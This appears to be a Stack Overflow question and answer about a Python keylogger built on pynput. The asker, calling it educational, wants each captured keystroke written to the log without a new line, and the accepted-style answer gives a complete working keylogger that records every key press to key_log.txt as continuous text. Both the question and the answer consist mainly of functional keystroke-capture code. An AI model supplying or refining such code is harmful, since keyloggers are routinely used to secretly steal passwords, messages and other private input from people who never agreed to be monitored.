0

I'm trying to make a keylogger (Educational purposes only) And it's currently working but it puts each key in a separate line. I want it so that the output is just recorded without making it letter by letter Anyways this is the code. What do i need to edit? i cant seem to find any answer to this..

from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format="%(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()   

Its not that big but i still cant figure out how to make it so that the output is not in separate lines like this : https://prntscr.com/p0cmin

locipro
  • 17
  • 3
  • This should help [you](https://stackoverflow.com/a/33132165/3091398). – CodeIt Sep 01 '19 at 15:08
  • Possible duplicate of [Suppress newline in Python logging module](https://stackoverflow.com/questions/7168790/suppress-newline-in-python-logging-module) – CodeIt Sep 01 '19 at 15:10

1 Answers1

1
def main():

    from pynput.keyboard import Listener
    from pathlib import Path
    import logging

    log_path = Path("./key_log.txt")

    logging.basicConfig(
        filename=log_path,
        level=logging.DEBUG,
        format=("%(message)s"),
    )

    root_logger = logging.getLogger()
    root_handler = root_logger.handlers[0]
    root_handler.terminator = ""

    def on_press(key):
        key = str(key).strip("'")
        logging.info(key)

    with Listener(on_press=on_press) as listener:
        listener.join()    

    return 0


if __name__ == "__main__":
    import sys
    sys.exit(main())
Paul M.
  • 10,481
  • 2
  • 9
  • 15